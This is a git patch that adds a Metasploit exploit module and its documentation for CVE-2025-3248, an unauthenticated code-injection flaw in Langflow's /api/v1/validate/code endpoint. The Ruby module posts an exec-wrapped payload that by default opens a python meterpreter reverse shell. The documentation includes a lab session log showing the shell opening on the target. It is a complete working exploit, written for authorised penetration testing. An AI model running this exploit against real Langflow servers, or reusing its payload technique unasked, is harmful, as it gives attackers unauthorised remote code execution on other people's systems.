From b613b0a41b17c84df159a667e830b03d14f338bd Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Fri, 11 Apr 2025 14:07:54 +0900 Subject: [PATCH] Add Langflow unauth RCE module (CVE-2025-3248) --- .../http/langflow_unauth_rce_cve_2025_3248.md | 88 ++++++++++++++++++ .../http/langflow_unauth_rce_cve_2025_3248.rb | 92 +++++++++++++++++++ 2 files changed, 180 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/langflow_unauth_rce_cve_2025_3248.md create mode 100644 modules/exploits/linux/http/langflow_unauth_rce_cve_2025_3248.rb diff --git a/documentation/modules/exploit/linux/http/langflow_unauth_rce_cve_2025_3248.md b/documentation/modules/exploit/linux/http/langflow_unauth_rce_cve_2025_3248.md new file mode 100644 index 0000000000..3fc1880cbc --- /dev/null +++ b/documentation/modules/exploit/linux/http/langflow_unauth_rce_cve_2025_3248.md @@ -0,0 +1,88 @@ +## Vulnerable Application + +Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. +A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code. + +The vulnerability affects: + + * Langflow < 1.3.0 + +This module was successfully tested on: + + * Langflow 1.3.2 installed with Docker + +(Seems like if authentication is not enabled, version 1.3.2 is vulnerable.) + + +### Installation +1. `git clone https://github.com/langflow-ai/langflow.git` + +2. `cd langflow/docker_example` + +3. `docker compose up` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/langflow_unauth_rce_cve_2025_3248` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + + +## Scenarios +``` +msf6 > use exploit/linux/http/langflow_unauth_rce_cve_2025_3248 +[*] Using configured payload python/meterpreter/reverse_tcp +msf6 exploit(linux/http/langflow_unauth_rce_cve_2025_3248) > options + +Module options (exploit/linux/http/langflow_unauth_rce_cve_2025_3248): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 7860 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (python/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Python payload + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/langflow_unauth_rce_cve_2025_3248) > run lhost=192.168.56.1 rhost=192.168.56.16 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Version 1.3.2 detected +[*] Sending stage (24772 bytes) to 192.168.56.16 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:39272) at 2025-04-11 13:47:47 +0900 + +meterpreter > getuid +Server username: user +meterpreter > sysinfo +Computer : c459aabb0d29 +OS : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025 +Architecture : x64 +System Language : C +Meterpreter : python/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/langflow_unauth_rce_cve_2025_3248.rb b/modules/exploits/linux/http/langflow_unauth_rce_cve_2025_3248.rb new file mode 100644 index 0000000000..149fce6129 --- /dev/null +++ b/modules/exploits/linux/http/langflow_unauth_rce_cve_2025_3248.rb @@ -0,0 +1,92 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Langflow AI RCE', + 'Description' => %q{ + Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. + A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code. + }, + 'Author' => [ + 'Naveen Sunkavally (Horizon3.ai)', # Vulnerability discovery and PoC + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-3248'], + ['URL', 'https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/'], + ], + 'Platform' => ['python'], + 'Arch' => [ ARCH_PYTHON ], + 'Targets' => [ + [ + 'Python payload', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } + } + ] + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => '"' + }, + 'DisclosureDate' => '2025-04-09', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_options( + [ + Opt::RPORT(7860), + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/v1/version') + }) + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 + + json_version = res&.get_json_document&.fetch('version', nil) + return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version + + version = Rex::Version.new(json_version) + return Exploit::CheckCode::Unknown('Failed to get version.') unless version + + # If authentication is not enabled, version 1.3.2 is vulnerable. + return Exploit::CheckCode.Detected("Version #{version} detected") unless version < Rex::Version.new('1.3.0') + + Exploit::CheckCode::Appears("Version #{version} detected.") + end + + def exploit + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'), + 'headers' => { 'Content-Type' => 'application/json' }, + 'data' => { + 'code' => "@exec(\"#{payload.encode}\")\ndef #{rand_text_alpha(6)}():\n pass" + }.to_json + }) + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res + end + +end